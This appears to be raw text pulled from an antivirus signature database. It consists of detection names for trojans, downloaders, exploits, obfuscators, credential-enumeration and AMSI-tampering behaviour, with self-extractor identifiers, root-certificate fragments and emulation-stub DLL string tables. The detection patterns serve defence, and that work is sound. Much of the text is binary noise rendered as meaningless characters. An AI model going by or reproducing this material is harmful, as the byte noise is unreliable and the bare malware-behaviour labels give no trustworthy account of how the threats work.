)#:1:b:2:NSIS_3_0_b2_strlen_bzip2_solid-x86-unicodeU8@ :#LowFi:HSTR:BrowserModifier:IEPluginBypass.B!Kipod :#LowFi:HSTR:BrowserModifier:IEPluginBypass.B!KipodU8 Y#PERSIST:HSTR:SoftwareBundler:Win32/OfferInstaller Y#PERSIST:HSTR:SoftwareBundler:Win32/OfferInstallerU8da :#LowFi:SoftwareBundler:Win32/DealPly!LikeyCleanPUS :#LowFi:SoftwareBundler:Win32/DealPly!LikeyCleanPUSU9 :#LowFiExp:Win32/ContextualAccessJavaTempLikeCorrupt :#LowFiExp:Win32/ContextualAccessJavaTempLikeCorruptU9 *\t]!#LowFi:AGGR:Trojan:PowerShell/PSExploitShellCode.A *\t]!#LowFi:AGGR:Trojan:PowerShell/PSExploitShellCode.AU9l :\tY#PERSIST:Behavior:Win32/AptCampaignDesertFalcon!dha :\tY#PERSIST:Behavior:Win32/AptCampaignDesertFalcon!dhaU9G Y#PERSIST:SIGATTR:Program:Win32/CrossRiderWebInst.A1 Y#PERSIST:SIGATTR:Program:Win32/CrossRiderWebInst.A1U9 s :#Exploit:Win32/Crosspoint.IEWordSandboxEscape!Lowfi s :#Exploit:Win32/Crosspoint.IEWordSandboxEscape!LowfiU9Q !:#Lowfi:SCPT:Exploit:HTML/Flash_Long_Ascii_One_Pixel !:#Lowfi:SCPT:Exploit:HTML/Flash_Long_Ascii_One_PixelU9 -#:#Lowfi:HSTR:WhiteListCloud:TrojanDownloader:Vintall JMl;:#Lowfi:SCRIPT:Exploit:HTML/DemocracySurveilIframe.B -#:#Lowfi:HSTR:WhiteListCloud:TrojanDownloader:VintallU9JMl;:#Lowfi:SCRIPT:Exploit:HTML/DemocracySurveilIframe.BU9 P(E]#LowFi:Behavior:Win32/SuspCredEnumerateAttempt.B!cl >>;F:#Lowfi:SCRIPT:Exploit:SWF/CVE-2015-5119.ToByteArray P(E]#LowFi:Behavior:Win32/SuspCredEnumerateAttempt.B!clU9>>;F:#Lowfi:SCRIPT:Exploit:SWF/CVE-2015-5119.ToByteArrayU9 WN#LowFi:Behavior:Win32/SuspCredEnumerateAttempt.A!cl WN#LowFi:Behavior:Win32/SuspCredEnumerateAttempt.A!clU9 W]#LowFi:Behavior:Win32/SuspCredEnumerateAttempt.A!cl W]#LowFi:Behavior:Win32/SuspCredEnumerateAttempt.A!clU9 %b:#Lowfi:HSTR:MSIL/Obfuscator.SmartAssembly.Eva.Ver.B %b:#Lowfi:HSTR:MSIL/Obfuscator.SmartAssembly.Eva.Ver.BU9 t:#Lowfi:HSTR:VirTool:Win32/Obfuscator.ADB_EP2!_lowfi t:#Lowfi:HSTR:VirTool:Win32/Obfuscator.ADB_EP2!_lowfiU9AA# ]!#LowFi:AGGR:Trojan:PowerShell/PSExploitShellCode.B ]!#LowFi:AGGR:Trojan:PowerShell/PSExploitShellCode.BU9 :#Lowfi:SCRIPT:Exploit:HTML/DemocracySurveilIframe.A :#Lowfi:SCRIPT:Exploit:HTML/DemocracySurveilIframe.AU9# :#Lowfi:LUA_VirTool:Win32/Obfuscator.ACV_overlaysize :#Lowfi:LUA_VirTool:Win32/Obfuscator.ACV_overlaysizeU9 :#Lowfi:HSTR:TrojanDownloader:MSIL/ChickenKiller.com :#Lowfi:HSTR:TrojanDownloader:MSIL/ChickenKiller.comU9 :#Lowfi:Lua:WrittenToDesktopSubfolderByWindowsBinary :#Lowfi:Lua:WrittenToDesktopSubfolderByWindowsBinaryU9J N#Lowfi:Lua:SuspiciousExeFileLocationInProgramData.A N#Lowfi:Lua:SuspiciousExeFileLocationInProgramData.AU9 :#LowFiExp:Win32/ContextualDrop2JavawTempLikeCorrupt :#LowFiExp:Win32/ContextualDrop2JavawTempLikeCorruptU9 ]!#LowFi:AGGR:Trojan:PowerShell/PSExploitShellCode.C ]!#LowFi:AGGR:Trojan:PowerShell/PSExploitShellCode.CU9 :#Lowfi:HSTR:TrojanDownloader:MSIL/Bladabindi.Gulfup :#Lowfi:HSTR:TrojanDownloader:MSIL/Bladabindi.GulfupU9 Y#Lowfi:HSTR:TrojanDownloader:MSIL/Bladabindi.Gulfup Y#Lowfi:HSTR:TrojanDownloader:MSIL/Bladabindi.GulfupU9 :#Lowfi:HSTR:TrojanDownloader.Upatre.FunctionAddress :#Lowfi:HSTR:TrojanDownloader.Upatre.FunctionAddressU9 :#Lowfi:HSTR:MSIL/Obfuscator.SmartAssembly.Eva.Ver.A :#Lowfi:HSTR:MSIL/Obfuscator.SmartAssembly.Eva.Ver.AU: Y#PERSIST:HSTR:SoftwareBundler:Win32/OgimantMailRU.A1 Y#PERSIST:HSTR:SoftwareBundler:Win32/OgimantMailRU.A1U: Y#PERSIST:SCPT:Program:Win32/SuperFishz.A1-CrossRider Y#PERSIST:SCPT:Program:Win32/SuperFishz.A1-CrossRiderU: S:#Lowfi:AGGREGATOR:REG/DisallowedCert_ESSDistribution S:#Lowfi:AGGREGATOR:REG/DisallowedCert_ESSDistributionU: c]#LowFi:BMLua:AccessibilityEscalation.Z!displayswitch c]#LowFi:BMLua:AccessibilityEscalation.Z!displayswitchU: X8v:#LowFiExp:Win32/ContextualAccessJavawTempLikeCorrupt X8v:#LowFiExp:Win32/ContextualAccessJavawTempLikeCorruptU:M xY#PERSIST:HSTR:VirTool:MSIL/Obfuscator.RunPE.DzkiLLeR xY#PERSIST:HSTR:VirTool:MSIL/Obfuscator.RunPE.DzkiLLeRU: N\\{N#Lowfi:Lua:SuspiciousExeFileInAppdataWindowsupdate.A N\\{N#Lowfi:Lua:SuspiciousExeFileInAppdataWindowsupdate.AU:dv Y#PERSIST:SCPT:Program:Win32/SuperFishz.A2-CrossRider Y#PERSIST:SCPT:Program:Win32/SuperFishz.A2-CrossRiderU: :#Lowfi:SIGATTR:Worm:Win32/PossibleSillyShareCopy.gen :#Lowfi:SIGATTR:Worm:Win32/PossibleSillyShareCopy.genU:T :#Lowfi:HSTR:SoftwareBundler:Win32/InstallMonetizer.A :#Lowfi:HSTR:SoftwareBundler:Win32/InstallMonetizer.AU: Y#PERSIST:SNID:BrowserModifier:Win32/Diplugem!ImpHash Y#PERSIST:SNID:BrowserModifier:Win32/Diplugem!ImpHashU: :#Lowfi:HSTR:VirTool:Win64/Obfuscator.ADB_Reveton_str :#Lowfi:HSTR:VirTool:Win64/Obfuscator.ADB_Reveton_strU: N#Lowfi:Lua:SuspiciousExeFileLocationInLocalAppdata.A N#Lowfi:Lua:SuspiciousExeFileLocationInLocalAppdata.AU: Y#PERSIST:HSTR:Exploit:Win32/DouglasDojibMS10-048!dha Y#PERSIST:HSTR:Exploit:Win32/DouglasDojibMS10-048!dhaU: N#LowFi:Win32/Generic!PeAttributesSigattrIdContextual N#LowFi:Win32/Generic!PeAttributesSigattrIdContextualU: :#LowFi:SoftwareBundler:MSIL/Protlerdob!LikeyCleanPUS :#LowFi:SoftwareBundler:MSIL/Protlerdob!LikeyCleanPUSU; :#Lowfi:Lua:WrittenToDownloadFolder1SubByWindowsBinary AD:#Lowfi:Lua:WrittenToDownloadFolder1SubByWindowsBinaryU;  :#Lowfi:SCPT:Exploit:HTML/Flash_Long_Ascii_One_Pixel.2  :#Lowfi:SCPT:Exploit:HTML/Flash_Long_Ascii_One_Pixel.2U; :#Lowfi:SCRIPT:Exploit:HTML/DemocracySurveilWebShell.A :#Lowfi:SCRIPT:Exploit:HTML/DemocracySurveilWebShell.AU; 2-8_#Lowfi:CONTEXT:SoftwareBundler:Win32/InstallMonster.A 2-8_#Lowfi:CONTEXT:SoftwareBundler:Win32/InstallMonster.AU; %bY#PERSIST:HSTR:MSIL/Obfuscator.SmartAssembly.Eva.Ver.B %bY#PERSIST:HSTR:MSIL/Obfuscator.SmartAssembly.Eva.Ver.BU;s cY#PERSIST:HSTR:VirTool:Win32/SuspiciousDllExportName.A cY#PERSIST:HSTR:VirTool:Win32/SuspiciousDllExportName.AU; y:#Lowfi:SIGATTR:TrojanDownloader:Win32/Maldldr.gen!A.1 y:#Lowfi:SIGATTR:TrojanDownloader:Win32/Maldldr.gen!A.1U;\\ :#Lowfi:Lua:WrittenToDesktopFolderByOtherParentProcess :#Lowfi:Lua:WrittenToDesktopFolderByOtherParentProcessU; Y#PERSIST:SIGATTR:Trojan:Win32/CrossRiderCinemaxYou.A1 Y#PERSIST:SIGATTR:Trojan:Win32/CrossRiderCinemaxYou.A1U;l Y#PERSIST:SIGATTR:Program:Win32/CrossRiderRandomExt.A1 Y#PERSIST:SIGATTR:Program:Win32/CrossRiderRandomExt.A1U;c ]#LowFi:BMLua:AccessibilityEscalation.AA!displayswitch ]#LowFi:BMLua:AccessibilityEscalation.AA!displayswitchU; Y#Persist:HSTR:TrojanDownloader:MSIL/ChickenKiller.com Y#Persist:HSTR:TrojanDownloader:MSIL/ChickenKiller.comU; :#Lowfi:PEBMPAT:TrojanDownloader:Win32/Upatre!LoD.TMP1 :#Lowfi:PEBMPAT:TrojanDownloader:Win32/Upatre!LoD.TMP1U; :#LowFi:SCPT:Adware:Win32/PennyBeeLinkury.DigitalSig.A :#LowFi:SCPT:Adware:Win32/PennyBeeLinkury.DigitalSig.AU; :#Lowfi:SCPT:TrojanDownloader:PowerShell/Bartallex_gen :#Lowfi:SCPT:TrojanDownloader:PowerShell/Bartallex_genU; :#LOWFI:RPF:ContextualDropFileOutlookArchiveAttachment :#LOWFI:RPF:ContextualDropFileOutlookArchiveAttachmentU; :#LowFi:SoftwareBundler:Win32/Protlerdob!LikeyCleanPUS :#LowFi:SoftwareBundler:Win32/Protlerdob!LikeyCleanPUSU; Y#PERSIST:HSTR:MSIL/Obfuscator.SmartAssembly.Eva.Ver.A Y#PERSIST:HSTR:MSIL/Obfuscator.SmartAssembly.Eva.Ver.AU< (]#LowFi:BMLua:Win32/WritesFileAndAddsToASEPWithSusLoc.B (]#LowFi:BMLua:Win32/WritesFileAndAddsToASEPWithSusLoc.BU< N#Lowfi:HSTR:Win32/Obfuscator.Cutwail_Upatre_GameOver_2 N#Lowfi:HSTR:Win32/Obfuscator.Cutwail_Upatre_GameOver_2U<IAR Y#PERSIST:Lowfi:HSTR:VirTool:Win32/CeeInject.gen!KK_enc Y#PERSIST:Lowfi:HSTR:VirTool:Win32/CeeInject.gen!KK_encU< :#Lowfi:Lua:WrittenToDownloadFolderByOtherParentProcess :#Lowfi:Lua:WrittenToDownloadFolderByOtherParentProcessU<T Y#PERSIST:HSTR:SoftwareBundler:Win32/InstallMonetizer.A Y#PERSIST:HSTR:SoftwareBundler:Win32/InstallMonetizer.AU<Y ]#LowFi:BMLua:Win32/WritesFileAndAddsToASEPWithSusLoc.A ]#LowFi:BMLua:Win32/WritesFileAndAddsToASEPWithSusLoc.AU< :#LowFi:SigAttr:TrojanDownloader:Win32/Banload.BCC_22_6 :#LowFi:SigAttr:TrojanDownloader:Win32/Banload.BCC_22_6U= Y#Persist:HSTR:SoftwareBundler:Win32/Pokavampo!UrlParams Y#Persist:HSTR:SoftwareBundler:Win32/Pokavampo!UrlParamsU= 2-8Y#PERSIST:CONTEXT:SoftwareBundler:Win32/InstallMonster.A 2-8Y#PERSIST:CONTEXT:SoftwareBundler:Win32/InstallMonster.AU=5 b_:#Lowfi:HSTR:VirTool:Win32/Obfuscator.ACV!overlay_unpack b_:#Lowfi:HSTR:VirTool:Win32/Obfuscator.ACV!overlay_unpackU= gN#Lowfi:Lua:SuspiciousExeFileInAppdataMicrosoftWindows.A gN#Lowfi:Lua:SuspiciousExeFileInAppdataMicrosoftWindows.AU= JkY#PERSIST:HSTR:TrojanDownloader:Win32/VitalliaUpd4ter.A1 JkY#PERSIST:HSTR:TrojanDownloader:Win32/VitalliaUpd4ter.A1U= {:#Lowfi:AGG:Win32/Obfuscator.API.NullArgs.COMODO.CA.RU.A {:#Lowfi:AGG:Win32/Obfuscator.API.NullArgs.COMODO.CA.RU.AU= :#Lowfi:Lua:WrittenToDesktopFolderByUnknownParentProcess :#Lowfi:Lua:WrittenToDesktopFolderByUnknownParentProcessU=, :#Lowfi:Lua:VbaProjectWrittenToDownloadFolderNotbyOffice :#Lowfi:Lua:VbaProjectWrittenToDownloadFolderNotbyOfficeU>& ]#LowFi:BMLua:Win32/WritesFileAndAddsToASEPWithSusLoc.B.3 ]#LowFi:BMLua:Win32/WritesFileAndAddsToASEPWithSusLoc.B.3U>z  Y#PERSIST:HSTR:SoftwareBundler:Win32/IBryteDownloaderz.A3  Y#PERSIST:HSTR:SoftwareBundler:Win32/IBryteDownloaderz.A3U> =Q&:#Lowfi:SIGATTR:TrojanDownloader:Win32/Upatre!anitemu_LoD =Q&:#Lowfi:SIGATTR:TrojanDownloader:Win32/Upatre!anitemu_LoDU>\"J E:#Lowfi:SCPT:Exploit:HTML/Long_Display_None_Title_Heading 9j?F:#Lowfi:Lua:WrittenToDownloadFolderByUnknownParentProcess E:#Lowfi:SCPT:Exploit:HTML/Long_Display_None_Title_HeadingU>9j?F:#Lowfi:Lua:WrittenToDownloadFolderByUnknownParentProcessU> q}J:#Lowfi:SIGATTR:ZwQuerySystemInformation_PerfInfo_Bailout q}J:#Lowfi:SIGATTR:ZwQuerySystemInformation_PerfInfo_BailoutU> WY#PERSIST:HSTR:SoftwareBundler:Win32/IBryteDownloaderz.A2 WY#PERSIST:HSTR:SoftwareBundler:Win32/IBryteDownloaderz.A2U> pf:#Lowfi:Lua:WrittenToDesktopSubfolderByOtherParentProcess pf:#Lowfi:Lua:WrittenToDesktopSubfolderByOtherParentProcessU> r]#LowFi:BMLua:Win32/WritesFileAndAddsToASEPWithSusLoc.B.2 r]#LowFi:BMLua:Win32/WritesFileAndAddsToASEPWithSusLoc.B.2U>\"x :#Lowfi:SCPT:Exploit:HTML/Flash_Min10Levels_Folder_Struct :#Lowfi:SCPT:Exploit:HTML/Flash_Min10Levels_Folder_StructU> ]#LowFi:BMLua:Win32/WritesFileAndAddsToASEPWithSusLoc.B.4 ]#LowFi:BMLua:Win32/WritesFileAndAddsToASEPWithSusLoc.B.4U>V Y#PERSIST:HSTR:SoftwareBundler:Win32/IBryteDownloaderz.A1 Y#PERSIST:HSTR:SoftwareBundler:Win32/IBryteDownloaderz.A1U>!4. :#Lowfi:SoftwareBundler:Win32/OutBrowse!removeclosebutton :#Lowfi:SoftwareBundler:Win32/OutBrowse!removeclosebuttonU> ]#LowFi:BMLua:Win32/WritesFileAndAddsToASEPWithSusLoc.B.1 ]#LowFi:BMLua:Win32/WritesFileAndAddsToASEPWithSusLoc.B.1U> ]#LowFi:BMLua:Win32/WritesFileAndAddsToASEPWithSusLoc.B.5 ]#LowFi:BMLua:Win32/WritesFileAndAddsToASEPWithSusLoc.B.5U? N#Lowfi:SIGATTR:TrojanDownloader:Win32/Upatre!antiemu_qcap N#Lowfi:SIGATTR:TrojanDownloader:Win32/Upatre!antiemu_qcapU? N#LowFi:SIGATTR:TrojanDownloader:Win32/Upatre!antiemu_vdll N#LowFi:SIGATTR:TrojanDownloader:Win32/Upatre!antiemu_vdllU@ {:#Lowfi:Lua:WrittenToDesktopSubfolderByUnknownParentProcess {:#Lowfi:Lua:WrittenToDesktopSubfolderByUnknownParentProcessU@U :#Lowfi:Lua:WrittenToDownloadFolder1SubByOtherParentProcess :#Lowfi:Lua:WrittenToDownloadFolder1SubByOtherParentProcessU@ :#Lowfi:SCPT:Exploit:HTML/Long_Display_None_Title_Heading.2 :#Lowfi:SCPT:Exploit:HTML/Long_Display_None_Title_Heading.2UA :#Lowfi:Lua:VbaProjectWrittenToDownloadFolder1SubNotbyOffice :#Lowfi:Lua:VbaProjectWrittenToDownloadFolder1SubNotbyOfficeUBH @Y#PERSIST:HSTR:Program:Win32/DllSecurityEvader_NotInstallMate @Y#PERSIST:HSTR:Program:Win32/DllSecurityEvader_NotInstallMateUB& `:#Lowfi:SIGATTR:MonitoringTool:Win32/EliteKeyLogger!Installer `:#Lowfi:SIGATTR:MonitoringTool:Win32/EliteKeyLogger!InstallerUB' g:#Lowfi:Lua:WrittenToDownloadFolder1SubByUnknownParentProcess g:#Lowfi:Lua:WrittenToDownloadFolder1SubByUnknownParentProcessUC%~ :#LowFi:Adware:Win32/180SolutionsSearchAssistant!LikeyCleanPUS AceSFXDOS :#LowFi:Adware:Win32/180SolutionsSearchAssistant!LikeyCleanPUSVTAceSFXDOS``^ AceSfx VTAceSfxZ VTAceSfxo VTAceSfxz VTAceSfx ArjSfx VTArjSfxn BascinZip VTBascinZip9\\ CABSfx_GenSfx_0xcf3a4495 VTCABSfx_GenSfx_0xcf3a4495 CABSfx_GenSfx_0xd1745db5 VVVTCABSfx_GenSfx_0xd1745db5 CabSfx_GenSfx_0x1f28ccee RRVTCabSfx_GenSfx_0x1f28ccee CabSfx_GenSfx_0x487d0c0f MSCFVTCabSfx_GenSfx_0x487d0c0f CabSfx_GenSfx_0x6f423861 a8BoD }HMSCFVTCabSfx_GenSfx_0x6f423861a8BoD CabSfx_GenSfx_0x706e0cc3 MSCFVTCabSfx_GenSfx_0x706e0cc3 CabSfx_GenSfx_0x86219d54 MSCFVTCabSfx_GenSfx_0x86219d54T CabSfx_GenSfx_0x9f1b7765 MSCFVTCabSfx_GenSfx_0x9f1b7765ew CabSfx_GenSfx_0xf126adc2 MSCFVTCabSfx_GenSfx_0xf126adc2 ExeDropper MSCFVTExeDropper GLZipSfx ,,VTGLZipSfx@? InfTool VTInfTool InsCons VTInsConsv InstallAnywhere VTInstallAnywhere LHASfx VTLHASfx Lhasfx VTLhasfx[ PaZipSfx -lh5VTPaZipSfx VTPaZipSfx RARsfx VTRARsfxC SelfSWF Rar!VTSelfSWF3 StuffITSfx VTStuffITSfx WinSKR StufVTWinSKR WinZip VTWinZip[r VTWinZip WiseSfx VTWiseSfx MZ00VTWiseSfx ZipSFX 1VTZipSFX ZipSfx VTZipSfx M4Z%) TrustRootStoreMt LKs[y X\tH\"M -YTD% pHellenic Academic and Research Institutions RootCA 2011\\ GR1D0B ;Hellenic Academic and Research Institutions Cert. Authority1@0> 7Hellenic Academic and Research Institutions RootCA 20110  111206134952Z  311201134952Z0 6`K&, .edu0 .org0 +%8Zl \"certSIGN Root CA\t certSIGN1 certSIGN ROOT CA0  060704172004Z  310704172004Z0;1 a@j`WhT 2t<Hn ZNIDTX_B .AffirmTrust CommercialS AffirmTrust Commercial0  100129140606Z  301231140606Z0D1 \"( Iu m~4~ Xgn:P (OX$| \"Amazon Root CA 4\t Amazon1 Amazon Root CA 40  150526000000Z  400526000000Z091 Amazon Root CA 40v0 (N*O5M3Z 8DigiCert Assured ID Root G3\\ www.digicert.com1$0\" DigiCert Assured ID Root G30   380115120000Z0e1 DigiCert Assured ID Root G30v0 VTW Government Root Certification Authority\\ TW100. 'Government Root Certification Authority0  021205132333Z  321205132333Z0?1 8/G?q 0m'KhnK*\\ YPu#is >Actalis Authentication Root CA\\ Milan1#0! Actalis S.p.A./033585209671'0% Actalis Authentication Root CA0  110922112202Z  300922112202Z0k1 zG\"D5 }f _aQ\"U 1EaPN '%7xLQj YTG>4{xmV > t+c 8thawte Primary Root CA - G3\\ /(c) 2008 thawte, Inc. - For authorized use only1$0\" thawte Primary Root CA - G30  080402000000Z  371201235959Z0 h1q83b tqs BY > t+c b46?5 Digidentity BVb Digidentity B.V.1$0\" Digidentity L3 Root CA - G20  110429104419Z  311110104419Z0N1 JE-S8$ Kwudo =0;09  010/ #http://pki.digidentity.eu/validatie0 6E`!C1 Tk~\"W 4c<JUj w[sH2 2GPKI ApplicationCA2 Root\\ 125372828280 Japanese Government1 0 GPKI1 ApplicationCA2 Root0  130312150000Z  330312150000Z0X1 0 CA2 Root0 rt.wW0 y\\i/C  Uh[s Ctd~` f&'%0  Uk7/  UkJC UuD;$;  UuD;$;  UuEk i9Q;p Y/@WP  U{\\* M9#e' Kh<,2UnB U|bxh  U|bxh U~suQ  U~suQ <P 7u:W 3tFD} $cbl' 5s@({ e6!w@E YIpgg m cR HWK3h ~9cv+ \t9H,73 Tqp|! Odmu<b PvXE; !N)Al _H\\1Hg =?Ae4!ng F:$|{ =lv|h' wTH\tUvM #~$6\\ 2Brcx LFB,i 9!R#p;Y yWX $SA5| K8Yil k%rod .3hAW R l]p  UmJ6 -x{! CK<Q! 59.& 1 o({Cw (!)7N c[$J\" nrk<n a\t\t!@ Ez$C+# yT!A+ jcmj\" 4/j;j 4(OIW !t)n7q %Prk B V;1N} .!Q6L 40dgi- c0{#5 &/l`b6 =>z%$ []VyU V\ts;N  V\ts;N jdU~m Mnh FN +Nk(VF  V!Ve  V#de V$q=;'~J9\"  V$q=;'~J9\" 6i9 } V*F=y  V*F=y ' qA, V- R+ F  V- R+ F System.Drawing.dll MODULEINFO SystemColors Equals GetHashCode get_IsEmpty get_Width set_Width get_Height set_Height IsEmpty set_X set_Y Subtract get_R System.IO Stream FromStream m_IsFromPEImage m_CrtPixel PixelPayloadLen PixelPayloadB64Len PixelPayloadB64Array GetModuleInformation IsFromPEImage lpBaseOfDll get_Control modinfo IntPtr MpInternal MPInternal <PrivateImplementationDetails>{A89D47BA-5496-45DB-B917-79B293EBE49E} __StaticArrayInitTypeSize=36 $$method0x600002e-1 RuntimeHelpers RuntimeFieldHandle __StaticArrayInitTypeSize=48 $$method0x600002e-2  <Module>System.Drawing.dllSizeSystem.DrawingSizeFPointColorImageBitmapMODULEINFOSystemColorsmscorlibSystemValueTypeObjectheightwidthEmpty.ctorEqualsGetHashCodeop_Equalityop_Inequalityop_Explicitget_IsEmptyget_Widthset_Widthget_Heightset_Height.cctorIsEmptyWidthHeightxyget_Xset_Xget_Yset_YAddSubtractOffsetXYm_valueget_RRSystem.IOStreamFromStreamm_streamm_IsFromPEImagem_CrtPixelPixelPayloadPixelPayloadLenPixelPayloadB64PixelPayloadB64LenPixelPayloadArrayPixelPayloadB64ArrayGetModuleInformationGetModuleHandleIsFromPEImageIsSpecialPayloadGetPixellpBaseOfDllSizeOfImageEntryPointget_ControlControlptobjsz1sz2sizevaluepleftrightszdxdystreamhProcesshModulemodinfocblpModuleNamebufferSystem.Runtime.InteropServicesDllImportAttributepsapi.dllkernel32.dllget_BaseAddressIntPtrMpInternalMPInternalReportEventStringget_LengthByte<PrivateImplementationDetails>{A89D47BA-5496-45DB-B917-79B293EBE49E}__StaticArrayInitTypeSize=36$$method0x600002e-1System.Runtime.CompilerServicesRuntimeHelpersArrayRuntimeFieldHandleInitializeArray__StaticArrayInitTypeSize=48$$method0x600002e-2ZeroIec632fd9-1694-4f4a-9bff-f20600e37981 aZWM2MzJmZDktMTY5NC00ZjRhLTliZmYtZjIwNjAwZTM3OTgx 0@6DS d:\\pavbld\\amcore\\MpEngine\\mavutils\\Source\\sigutils\\vdlls\\Microsoft.NET\\VFramework\\System.Drawing\\System.Drawing.pdb 3_CorDllMainmscoree.dll FileVersion0.0.0.0H InternalNameSystem.Drawing.dll( LegalCopyright P OriginalFilenameSystem.Drawing.dll4 Assembly Version0.0.0.00   $   $PEL ; @ ^   H.text Yo\t *  lX #~ Microsoft.VisualBasic.dll Win32Native Microsoft.VisualBasic AppWinStyle CompareMethod Interaction Information Conversion Collection AuthenticationMode ShutdownMode WindowsFormsApplicationBase SpecialDirectoriesProxy Microsoft.VisualBasic.MyServices RegistryProxy Network Microsoft.VisualBasic.Devices Computer Conversions Microsoft.VisualBasic.CompilerServices Operators ProjectData Utils Binary CreateObject Environ LBound UBound get_UseCompatibleTextRendering set_EnableVisualStyles set_SaveMySettingsOnExit set_ShutdownStyle set_IsSingleInstance get_MainForm set_MainForm UseCompatibleTextRendering SaveMySettingsOnExit ShutdownStyle IsSingleInstance MainForm get_ProgramFiles get_Programs get_Temp get_CurrentUserApplicationData CurrentUserApplicationData get_SpecialDirectories SpecialDirectories get_FileSystem get_Network get_Registry FileSystem Registry ChangeType ToInteger ConcatenateObject ClearProjectError EndApp CopyArray PathName Style Timeout ProgId ServerName CharCode Expression Delimiter Limit authenticationMode commandLine destinationFileName directory conversionType Right TextCompare Arguments ArgumentNames TypeArguments CopyBack Environment SpecialFolder Int32 Int64 Buffer <Module>Microsoft.VisualBasic.dllWin32NativeMicrosoft.VisualBasicAppWinStyleCompareMethodInteractionInformationConversionCollectionStringsAuthenticationModeMicrosoft.VisualBasic.ApplicationServicesShutdownModeWindowsFormsApplicationBaseSpecialDirectoriesProxyMicrosoft.VisualBasic.MyServicesFileSystemProxyRegistryProxyNetworkMicrosoft.VisualBasic.DevicesServerComputerComputerConversionsMicrosoft.VisualBasic.CompilerServicesOperatorsNewLateBindingProjectDataUtilsmscorlibSystemObjectEnumMAX_PATHGetCommandLineGetEnvironmentVariablevalue__BinaryTextShellCommandCreateObjectEnviron.ctorArrayLBoundUBoundHexLeftLenMidAscChrSplitget_UseCompatibleTextRenderingset_EnableVisualStylesset_SaveMySettingsOnExitset_ShutdownStyleset_IsSingleInstanceOnCreateMainFormSystem.Windows.FormsFormformget_MainFormset_MainFormRunUseCompatibleTextRenderingEnableVisualStylesSaveMySettingsOnExitShutdownStyleIsSingleInstanceMainFormget_ProgramFilesget_Programsget_Tempget_CurrentUserApplicationDataProgramFilesProgramsTempCurrentUserApplicationDataCreateDirectoryget_SpecialDirectoriesCopyFileDeleteFileSpecialDirectoriesURLDownloadToFileDownloadFileget_FileSystemget_Networkget_RegistryFileSystemRegistryToStringToBooleanToCharTypeChangeTypeToIntegerConcatenateObjectCompareStringLateCallLateGetClearProjectErrorEndAppCopyArraylpSrclpDstnSizePathNameStyleWaitTimeoutProgIdServerNamevariableRankNumberstrLengthStartStringCharCodeExpressionDelimiterLimitCompareauthenticationModevaluecommandLinelpPathNamelpSecurityAttributessourceFileNamedestinationFileNameoverwritedirectoryfilepCallerszURLszFileNamedwReservedlpfnCBaddressValueobjconversionTypeRightTextCompareInstanceMemberNameArgumentsArgumentNamesTypeArgumentsCopyBackIgnoreReturnsrcdestSystem.Runtime.InteropServicesDllImportAttributekernel32.dllMpInternalMPInternalCreateProcessCharEmptySubstringByteDecodeEncodeHashget_LengthExceptionConvertToInt32get_CharsToCharArrayApplicationEnvironmentSpecialFolderGetFolderPathSystem.IOPathGetTempPathFileCopyDeleteurlmon.dllInt32Int64Concatop_EqualityBufferBlockCopy cmd.exeF d:\\MPEngine\\amcore\\MpEngine\\mavutils\\Source\\sigutils\\vdlls\\Microsoft.NET\\VFramework\\Microsoft.VisualBasic\\Microsoft.VisualBasic.pdb ;_CorDllMainmscoree.dll InternalNameMicrosoft.VisualBasic.dll( OriginalFilenameMicrosoft.VisualBasic.dll4   $   $PEL 4@@.reloc (\t t Y|,?# Y|,?#uy 'Bd>& 'Bd>&$6p =&=S\\- >\t@Kk#e? >\"WZh dfC@ ? ? knj ;O3x> - ?!\t ':>## )- => Dk>!01 ]$> \\] e_?F> G?#no ,;O3x>$-/ 3e+9> l?S? QUJiU? 6O3x>$ /0;'A? o8&?! o\t?&8W 3^\t?# 3^\t?#^ Q8?%p LRqb = F?!ny m&?$\"E B> #? 1Xu,>  k#e? ?\"$)@q > KL5 V[l?S? >\"t{P HD9>& +UHD9>&,P |? Vtw ]_~!> >&hnc > qrGj Q?\"vy & km> |A>\t+2? ~>&34 qb =! :qb =! = =As`<? p9?\"LRh N.`1> F?$qy Zqb = C@ ?\"  C@ ?\" ? #=|z ? (,& 9>&KY ]a^,9? Q? pt X?#qr .`1>$ s.`1>$ _g}?  $O3x> F12?% =\"<@VX:> FOC@ ? ]h{q> cz??% &Dt=\t u;%(4 @C@ ? 3v5= D3v5= E ?&Nq* ?\"P^h ry.># !_?F> ?DAR? Vsl?S? 3? [] N>!ik/Z lr:(E?  km>  km> \" |(r>! M|(r>! a<?#de O3x>% 1O3x>% ;*M?# ^`Fx$? h5B?& *r_>#  *r_># !#SLF:AGGR:Masquerade_as!adrestore.exe &[!#SLF:AGGR:Masquerade_as!adrestore.exe !#SLF:AGGR:Masquerade_as!autorunsc.exe &[!#SLF:AGGR:Masquerade_as!autorunsc.exe !#SLF:AGGR:Masquerade_as!bitsadmin.exe &[!#SLF:AGGR:Masquerade_as!bitsadmin.exe !#SLF:AGGR:Masquerade_as!extexport.exe &[!#SLF:AGGR:Masquerade_as!extexport.exe !#SLF:AGGR:Masquerade_as!mavinject.exe &[!#SLF:AGGR:Masquerade_as!mavinject.exe !#SLF:AGGR:Masquerade_as!sqldumper.exe &[!#SLF:AGGR:Masquerade_as!sqldumper.exe !#SLF:AGGR:Masquerade_as!taskhostw.exe &[!#SLF:AGGR:Masquerade_as!taskhostw.exe !#SLF:TTCTX:Trojan:PowerShell/MSILAmsiTamperDetect.A 4M!#SLF:TTCTX:Trojan:PowerShell/MSILAmsiTamperDetect.A !#SLF:TTCTX:Trojan:PowerShell/MSILAmsiTamperDetect.D 4M!#SLF:TTCTX:Trojan:PowerShell/MSILAmsiTamperDetect.D !#SLF:AGGR:PeDroppedByOffice f!#SLF:AGGR:PeDroppedByOffice !#SLF:AGGR:LnkDroppedByStub!rundll \"`!#SLF:AGGR:LnkDroppedByStub!rundll !#SLF:AGGR:LnkDroppedByStub!cscript #_!#SLF:AGGR:LnkDroppedByStub!cscript !#SLF:AGGR:LnkDroppedByStub!wscript #_!#SLF:AGGR:LnkDroppedByStub!wscript !#SLF:AGGR:PeDroppedByStub!rundll32 #_!#SLF:AGGR:PeDroppedByStub!rundll32 !#SLF:AGGR:Masquerade_as!accessenum.exe '\\!#SLF:AGGR:Masquerade_as!accessenum.exe !#SLF:AGGR:Masquerade_as!adexplorer.exe '\\!#SLF:AGGR:Masquerade_as!adexplorer.exe !#SLF:AGGR:Masquerade_as!autoruns64.exe '\\!#SLF:AGGR:Masquerade_as!autoruns64.exe !#SLF:AGGR:Masquerade_as!diskshadow.exe '\\!#SLF:AGGR:Masquerade_as!diskshadow.exe 